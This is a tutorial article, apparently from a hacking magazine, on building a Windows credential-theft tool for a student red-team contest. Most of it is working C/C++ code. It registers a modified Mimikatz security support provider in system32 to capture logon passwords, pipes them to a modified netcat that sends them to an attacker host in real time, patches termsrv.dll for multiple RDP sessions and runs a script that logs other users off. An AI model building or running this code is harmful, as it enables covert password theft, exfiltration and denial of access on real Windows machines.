Coding

Listen to your heart. Writing an account hijacking utility

Today, you will write a program that intercepts user credentials, transmits them to a remote host in real time, makes it possible to start multiple RDP sessions, and breaks competing connections. In fact, all you have to do is modify the Mimikatz code.

Back in 2024, I participated in the All-Russian Student Cyber Battle as part of Team8.

We managed to win then, and now I’d like to discuss an essential element of pre-contest preparations: offensive tools (i.e. utilities that make lives of Red Team members easier).

After playing around with Standoff a bit, I identified a few points to be taken into account in my program:

  • frequent use of utilities designed to extract credentials from the system (e.g. Mimikatz); and 
  • regular conflicts between participants for shared resources (mainly RDP access to a remote host) since all participants use the same infrastructure.

The program was written ten days before the contest, and some of its solutions might seem not elegant to you. But under time pressure, it was the best I could do.

warning

This article is intended for security specialists operating under a contract; all information provided in it is for educational purposes only. Neither the author nor the Editorial Board can be held liable for any damages caused by improper usage of this publication. Distribution of malware, disruption of systems, and violation of secrecy of correspondence are prosecuted by law.

ListenYourHeart

The main purposes of this utility are:

(1) intercept and retransmit user credentials to a remote host in real time; and
(2) counteract (within the bounds of decency) against members of other Red Teams.

Since the program had to be developed within strict time limits, it was logical to create it on the basis of a ready-made open-source solution.

ListenYourHeart components
ListenYourHeart components

The program consists of five modules:

  • LyH.cpp is the main module responsible for preparatory operations;
  • mimilib.dll is a modified security support provider from the Mimikatz utility that intercepts user credentials;
  • mefcat.exe is modified netcat that transmits user credentials to a remote host;
  • PatchTermSrv.exe is a script that patches termsrv.dll to enable the creation of multiple RDP sessions on the same host; and 
  • KoH.bat is a script that automatically disconnects active RDP sessions.

Initialization

To be operational, the program requires certain environment. It’s provided by the dropp3r class from the LyH.cpp module. Dropp3r creates the temp folder in the root of the C: drive, loads files stored in the program executable file and registers the Security Support Provider in the system:

class dropp3r {
public:
dropp3r() = default;
int createTempDirectory();
int dropRelations();
int loadProvider();
};
// Load required tools and dependencies
int dropp3r::dropRelations() {
const std::string files[] = {
"patchTerm.exe"s,
"KoH.bat"s,
"nc6.exe"s
};
for (int i = 1; i < 4; i++) {
HRSRC hRes = FindResource(NULL, MAKEINTRESOURCE(i), RT_RCDATA);
if (!hRes) return ERR_NOT_FOUND;
HGLOBAL hData = LoadResource(NULL, hRes);
if (!hData) return RESOURCE_NOT_LOAD;
void* pData = LockResource(hData);
DWORD size = SizeofResource(NULL, hRes);
std::string outPath = PATH + "\\"s + files[i - 1];
std::ofstream out(outPath, std::ios::binary | std::ios::out);
if (!out) return NO_CREATE_FILE;
out.write(static_cast<const char*>(pData), size);
out.close();
}
return 0;
}
// Load and register Security Support Provider in the system
int dropp3r::loadProvider() {
HRSRC hRes = FindResource(NULL, MAKEINTRESOURCE(7), RT_RCDATA);
if (!hRes) return ERR_NOT_FOUND;
HGLOBAL hLoadedResource = LoadResource(NULL, hRes);
if (!hLoadedResource) return RESOURCE_NOT_LOAD;
void* pMim = LockResource(hLoadedResource);
DWORD size = SizeofResource(NULL, hRes);
LPWSTR packagePath = (LPWSTR)TEXT("c:\\windows\\system32\\mimilib.dll");
SECURITY_PACKAGE_OPTIONS spo = {};
HANDLE hMimilib = CreateFileW(packagePath,
GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
CREATE_ALWAYS,
FILE_ATTRIBUTE_NORMAL,
NULL);
DWORD wrtn = 0;
WriteFile(hMimilib, (LPCVOID)pMim,size, &wrtn, NULL);
CloseHandle(hMimilib);
std::cout<<"[dropp3r] Trying to add security package . . .\n";
SECURITY_STATUS ss = AddSecurityPackageW(packagePath, &spo);
if (ss != SEC_E_OK) {
if (ss == SEC_E_SECPKG_NOT_FOUND) {
std::cout<<"[dropp3r] can't find mimilib [-]\n";
return ERR_NOT_FOUND;
}
else {
std::cout << "[dropp3r] FAILED! [-]\n";
return ERROR;
}
}
else {
std::cout << "[dropp3r] SUCCESS! [+]\n";
}
return 0;
}

www

For more information on SSP/AP, see the article Insecurity provider. How Windows leaks user passwords.

Data transmission channel

Transmitting intercepted credentials
Transmitting intercepted credentials

After creating the environment, you have to set up a data transmission channel. This process involves three elements:

  • SecuritySupportProvider that transmits data in raw form;
  • mefcat (modified netcat) located on the victim side receives user credentials directly from SSP and transfers them to the remote host; and 
  • netcat on the attacker side receives credentials from mefcat.

Server

To connect mefcat to SSP, I decided to use named pipes and Windows Events due to the following reasons:

  • pipe is a reliable data transfer channel. If errors occur, they can be easily tracked and localized; and 
  • global events are perfectly suited for process synchronization.

First, you have to establish a connection with the remote host (i.e. get a socket to interact with it). This is performed by the Listen3r class from the LyH.cpp module. Its only function is to create the mefcat process with the remote host address passed to it.

LyH.cpp
int listen3r::buildChannel(std::string IP,std::string PORT) {
// ...
std::string commandLine ="c:\\windows\\system32\\cmd.exe /c "s + PATH + "nc6.exe "s + IP + " "s + PORT;
// ...
if (CreateProcessA(NULL,
(LPSTR)(commandLine.c_str()),
NULL,
NULL,
FALSE,
CREATE_NEW_CONSOLE,
NULL,
NULL,
(LPSTARTUPINFOA)(&si),
&pi)) {
SleepEx(5000, FALSE);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
}
else{
// ...

After getting a socket, you connect mefcat to mimilib.dll.

mefcat.c
// Named pipe used for communication between SSP and mefcat
#define PIPE_NAME L"\\\\.\\pipe\\communicate"
DWORD procCommunicate() {
BOOL err = 0;
// Create a global event to notify your SSP that mefcat is work-ready
hEvent = CreateEventW(NULL,TRUE,FALSE,L"Global\\active");
if (hEvent == NULL) {
DWORD err = GetLastError();
// If event has already been created, you get its handle
if (err == ERROR_ALREADY_EXISTS) {
hEvent = OpenEventW(EVENT_ALL_ACCESS, FALSE, L"Global\\active");
if (hEvent == NULL) {
printf("Cannot create|open event. exiting...\n");
exit(-1);
}
}
}
/* Create a named data transmission channel; mefcat acts as a server that creates a named pipe and waits for connection from SSP */
hpPass = CreateNamedPipeW(
PIPE_NAME,
PIPE_ACCESS_DUPLEX ,
PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE |PIPE_WAIT,
PIPE_UNLIMITED_INSTANCES,
1024,
1024,
0,
NULL);
if (hpPass == INVALID_HANDLE_VALUE) {
printf("Error creating named pipe: %d\n", GetLastError());
return 1;
}
// Set event to a signaled state (i.e. notify SSP that you are ready)
SetEvent(hEvent);
waitConnect:
printf("Zetting for a cl13nt to c0nn3ct...\n");
// Wait for connection to your SSP channel
if (ConnectNamedPipe(hpPass, NULL) != TRUE && GetLastError() != ERROR_PIPE_CONNECTED) {
printf("Error connecting to communicate channel: %d\n", GetLastError());
goto waitConnect;
}
printf("Client connected.\n");
// After connection, wait for credentials to be received from the SSP
while (1) {
if (err)
exit(1);
char buf[1024] = { 0 };
DWORD bytesRead;
DWORD bytesWritten;
// Receive data from SSP
if (ReadFile(hpPass, buf, sizeof(buf), &bytesRead, NULL)) {
printf("sending the leaked info to the host. . .\n");
/* Send credentials to the netfd remote host socket descriptor created by mefcat when connecting to remote host */
if (send(netfd, buf, bytesRead, 0) == SOCKET_ERROR) {
// If remote host disconnects, then exit
if (WSAGetLastError() == WSAECONNRESET || WSAGetLastError() == WSAECONNABORTED) {
printf("remote host disconnected. . .\n");
err = 1;
}
}
}
else {
if (GetLastError() == ERROR_BROKEN_PIPE) {
// Close current connection; reconnect the listener
DisconnectNamedPipe(hpPass);
hpPass = NULL;
printf("PIPE HAS BROKEN goto up :(\n");
goto waitConnect;
}
}
}
return 0;
}

If the remote host closes the connection, the program terminates. However, the event must be set to a nonsignaled state to notify SSP that mefcat and the connection as a whole aren’t operational. To do this, you register a callback function to be executed prior to program termination:

mefcat.c
BOOL WINAPI reset(DWORD event) {
switch (event) {
// Event: user closes the program
case CTRL_CLOSE_EVENT:
lastSignal();
return TRUE;
default:
return FALSE;
}
}
void lastSignal() {
if (hEvent != NULL) {
// Set event to a nonsignaled state
if (!ResetEvent(hEvent)) {
DWORD err = GetLastError();
printf("error while setting event: %d", err);
}
}
}
int main(int argc, char** argv)
{
// Set up a callback function to be executed if the application terminates
SetConsoleCtrlHandler((PHANDLER_ROUTINE)reset, TRUE);
// ...
}

Client

The server part of the connection is ready; let’s move on to the client. The client part is implemented inside the SSP in the form of the mimilib.dll library.

When a user is authenticating, the SpAcceptCredentials function is called from each registered SSP, and user’s credentials are passed to this functions. In Mimikatz, functions that log intercepted credentials to a file are called inside SpAcceptCredentials():

kssp.c
NTSTATUS NTAPI kssp_SpAcceptCredentials(SECURITY_LOGON_TYPE LogonType, PUNICODE_STRING AccountName, PSECPKG_PRIMARY_CRED PrimaryCredentials, PSECPKG_SUPPLEMENTAL_CRED SupplementalCredentials)
{
FILE *kssp_logfile;
#pragma warning(push)
#pragma warning(disable:4996)
if(kssp_logfile = _wfopen(*kssp_logfile, L"a"))
#pragma warning(pop)
{
// Functions that intercept credentials
klog(kssp_logfile, L"%wZ\\%wZ (%wZ)\t",&PrimaryCredentials->DomainName, &PrimaryCredentials->DownlevelName, AccountName);
klog_password(kssp_logfile, &PrimaryCredentials->Password);
klog(kssp_logfile, L"\n");
fclose(kssp_logfile);
}
return STATUS_SUCCESS;
}

Too bad, these functions work with the FILE structure; while you have to write data to the handle of a named pipe. Let’s write a custom klog_pipe function that will play the role of a client.

First, you have to get the event handle, and then check its state and determine whether mefcat is work-ready.

utils.c
int klog_pipe(PUNICODE_STRING Domain, PUNICODE_STRING downLevel, PUNICODE_STRING AccountName, PUNICODE_STRING Password) {
DWORD bytesWritten = 0;
BOOL active = FALSE;
// If event isn’t created yet, create it and wait for mefcat to change the event state
HANDLE hEvent = CreateEventW(NULL,TRUE,FALSE,L"Global\\active");
if (hEvent == NULL) {
DWORD err = GetLastError();
if (err == ERROR_ALREADY_EXISTS) {
// Get event handle
hEvent = OpenEventW(EVENT_ALL_ACCESS,FALSE, L"Global\\active");
if (hEvent == 0)
return -1;
}
}
// WaitForSingleObject with zero timeout immediately returns the event state
DWORD chkEvent = WaitForSingleObject(hEvent, 0);
// Event in a signaled state?
if (chkEvent == WAIT_OBJECT_0)
{
. . .
else{
// If not, close event handle
CloseHandle(hEvent);
return 0;
}

If mefcat is work-ready, the main logic of the client part is implemented:

/* transactToPipe is in the global scope of the current file. This is required to ensure that your session with mefcat is saved with each new call to the SpAcceptCredentials function
*/
static HANDLE transactToPipe = INVALID_HANDLE_VALUE;
if (chkEvent == WAIT_OBJECT_0)
{
// If you don't have a valid named pipe handle, get it
if (transactToPipe == INVALID_HANDLE_VALUE) {
transactToPipe = CreateFileW(
L"\\\\.\\pipe\\communicate",
GENERIC_WRITE | GENERIC_READ,
0,
NULL,
OPEN_EXISTING,
0,
NULL);
}
if (transactToPipe == INVALID_HANDLE_VALUE ) {
return -1;
}
// Allocate memory for credentials
wchar_t* data = calloc(sizeof(wchar_t) * 511, 1);
// Copy credentials
int ret = swprintf(data, 511, L"%s|%s\n",
// Domain->Buffer,
// Login and password are sufficient for me
// downLevel->Buffer,
AccountName->Buffer,
Password->Buffer
);
DWORD len = (DWORD)(wcslen(data)) * sizeof(wchar_t);
// Transmit credentials to named pipe
BOOL success = WriteFile(
transactToPipe,
data,
len,
&bytesWritten,
NULL
);
/* Here the mefcat operating capability is checked. If it’s nonoperational, the pipe handle is closed. When the SpAcceptCredentials function is called again (provided that the event is in a signaled state!), you’ll get it again. */
if (!success) {
DWORD err = GetLastError();
// If pipe is broken (i.e. mefcat is closed)
if (err == ERROR_NO_DATA || err == ERROR_PIPE_NOT_CONNECTED ||
err == ERROR_BROKEN_PIPE)
{
// Close current connection handle
CloseHandle(transactToPipe);
// Instruct the function to create a new pipe handle
transactToPipe = INVALID_HANDLE_VALUE;
}
}
free(data);
}
// Prevent leak of event handles
CloseHandle(hEvent);
return 0;
}

Now let’s add the klog_pipe function inside kssp_SpAcceptCredentials:

kssp.c
NTSTATUS NTAPI kssp_SpAcceptCredentials(SECURITY_LOGON_TYPE LogonType, PUNICODE_STRING AccountName, PSECPKG_PRIMARY_CRED PrimaryCredentials, PSECPKG_SUPPLEMENTAL_CRED SupplementalCredentials)
{
FILE *kssp_logfile;
#pragma warning(push)
#pragma warning(disable:4996)
// Your function
klog_pipe(&PrimaryCredentials->DomainName,&PrimaryCredentials->DownlevelName, AccountName, &PrimaryCredentials->Password);
if(kssp_logfile = _wfopen(*kssp_logfile, L"a"))
#pragma warning(pop)
. . .

Voila! Now your program can ‘listen’ for credentials in real time and ‘whisper’ them to you.

Counteraction against other Red Teams

info

The code presented in this chapter doesn’t pretend to be elegant; however, I suggest reviewing it for better understanding of the offensive tool creation process.

When I was writing this code, my main goal was to play “king of the hill” with opponents — while knowing 100% that I am going to win. I didn’t want to delve deep into the RDP protocol; instead, I decided to use my humble experience.

I knew that termsrv.dll (i.e. the library responsible for interaction with RDP connections) can be patched to enable multi-session RDP: several users would be able to work on the same host over RDP simultaneously — and they won’t get a pop-up notification that someone else is already working on this host.

Also, the qwinsta.exe utility provides information about open RDP sessions; while the logoff.exe utility terminates a specified RDP session.

The following operational sequence can be formed based on the above information:

  1. Create a user and add it to the “Administrators” group;
  2. Download LyH.exe to the computer; and 
  3. Run LyH.exe specifying the following parameters: --patch, --koh [username].

As a result, users who log in will only have time to enter their passwords (that will be intercepted by LyH and transmitted to you), and then, instead of the desktop, they will immediately see the logout message…

info

In such situations, most users immediately start sending complaints to admins: “The workstation is down; dear admin, please fix it…” The admin tries to log in to your host, and you gain admin credentials as well…

Now let’s proceed to the technical aspect.

In this program, the kik3r class from the LyH.cpp module is responsible for all the above-discussed functions. It simply executes two scripts as separate processes: patchTermSrv.exe and KoH.bat.

LyH.h
class kik3r {
public:
kik3r() = default;
int patchMultiRDP();
// KoH.bat starts here
int kick_off();
};
LyH.cpр
int kik3r::patchMultiRDP() {
std::cout << "[kik3r] trying to patch termsrv.dll for allowing multiple rdp client...\n";
STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi;
memset(&si, 0, sizeof(STARTUPINFO));
memset(&pi, 0, sizeof(PROCESS_INFORMATION));
if (CreateProcessA(NULL,
(LPSTR)( (PATH + "\\patchTerm.exe"s ).c_str()),
. . .

The first one is a powershell script from GitHub wrapped in the exe format; it patches termSrv.dll. The second one is a script stolen from the sysadmins website and adapted to my needs.

The script starts the qwinsta.exe and logoff.exe processes every second. Qwinsta tells logoff.exe whether a new user has appeared in the system; if yes, logoff.exe kicks this user out. Importantly, the process doesn’t affect the “king of the hill”.

The program source code and all its components are available in my GitHub repository.

Conclusions

Congrats! You have created your own ‘Frankenstein’: a new offensive tool composed of several slightly modified open-source projects.

In this article, I tried to cover pre-contest preparations from a new angle and demonstrate that you can always assemble something of your own to solve practical problems. This approach enables you to outmatch all your rivals; as military men say: “the harder the training, the easier the mission.”

Good luck!

it? Share: